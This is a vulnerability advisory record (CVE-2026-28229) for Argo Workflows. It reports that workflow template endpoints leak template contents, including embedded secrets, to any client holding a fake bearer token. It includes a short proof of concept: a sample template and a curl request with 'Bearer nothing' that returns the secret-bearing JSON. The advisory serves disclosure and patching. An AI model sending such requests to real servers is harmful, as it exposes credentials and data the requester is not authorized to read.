CVE-2026-28229: Github.com/argoproj/argo workflows/v3 Unauthorized Access To Argo Workflows Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-56px-hm34-xqj5",
  "modified" : "2026-05-13T15:23:17Z",
  "published" : "2026-03-11T14:49:37Z",
  "aliases" : [ "CVE-2026-28229" ],
  "summary" : "Unauthorized access to Argo Workflows Template",
  "details" : "### Summary\nWorkflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests.\n\n### Details\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72\n\nInformers use the server’s rest config, so they read using server SA privileges. \n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46\n\n### PoC\n1. Create template\n\n```yml\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: leak-workflow-template\n  namespace: argo\nspec:\n  templates:\n  - name: make-secret\n    resource:\n      action: create\n      manifest: |\n        apiVersion: v1\n        kind: Secret\n        metadata:\n          name: leaked-secret\n        type: Opaque\n        data:\n          password: c3VwZXJzZWNyZXQ=\n```\n\nThen apply that with `kubectl apply -f poc.yml`\n2. Query Argo Server with a fake token\n\n**Result:**\n\n```cmd\n> kubectl apply -f poc.yml\nworkflowtemplate.argoproj.io/leak-workflow-template created\n> curl -sk -H \"Authorization: Bearer nothing\" \\\n    \"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template\"\n{\"metadata\":{\"name\":\"leak-workflow-template\",\"namespace\":\"argo\",\"uid\":\"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c\",\"resourceVersion\":\"867394\",\"generation\":1,\"creationTimestamp\":\"REDACTED\",\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"argoproj.io/v1alpha1\\\",\\\"kind\\\":\\\"WorkflowTemplate\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"leak-workflow-template\\\",\\\"namespace\\\":\\\"argo\\\"},\\\"spec\\\":{\\\"templates\\\":[{\\\"name\\\":\\\"make-secret\\\",\\\"resource\\\":{\\\"action\\\":\\\"create\\\",\\\"manifest\\\":\\\"apiVersion: v1\\\\nkind: Secret\\\\nmetadata:\\\\n  name: leaked-secret\\\\ntype: Opaque\\\\ndata:\\\\n  password: c3VwZXJzZWNyZXQ=\\\\n\\\"}}]}}\\n\"},\"managedFields\":[{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"argoproj.io/v1alpha1\",\"time\":\"REDACTED\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}}},\"f:spec\":{\".\":{},\"f:templates\":{}}}}]},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"inputs\":{},\"outputs\":{},\"metadata\":{},\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}],\"arguments\":{}}}\n```\n\n### Impact\nAny client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0"
      }, {
        "fixed" : "3.7.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28229"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/commit/34afaf9c0c36f1ba8645d483ea4752cfc4a391e8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-workflows"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-11T14:49:37Z",
    "nvd_published_at" : "2026-03-11T16:16:40Z"
  }
}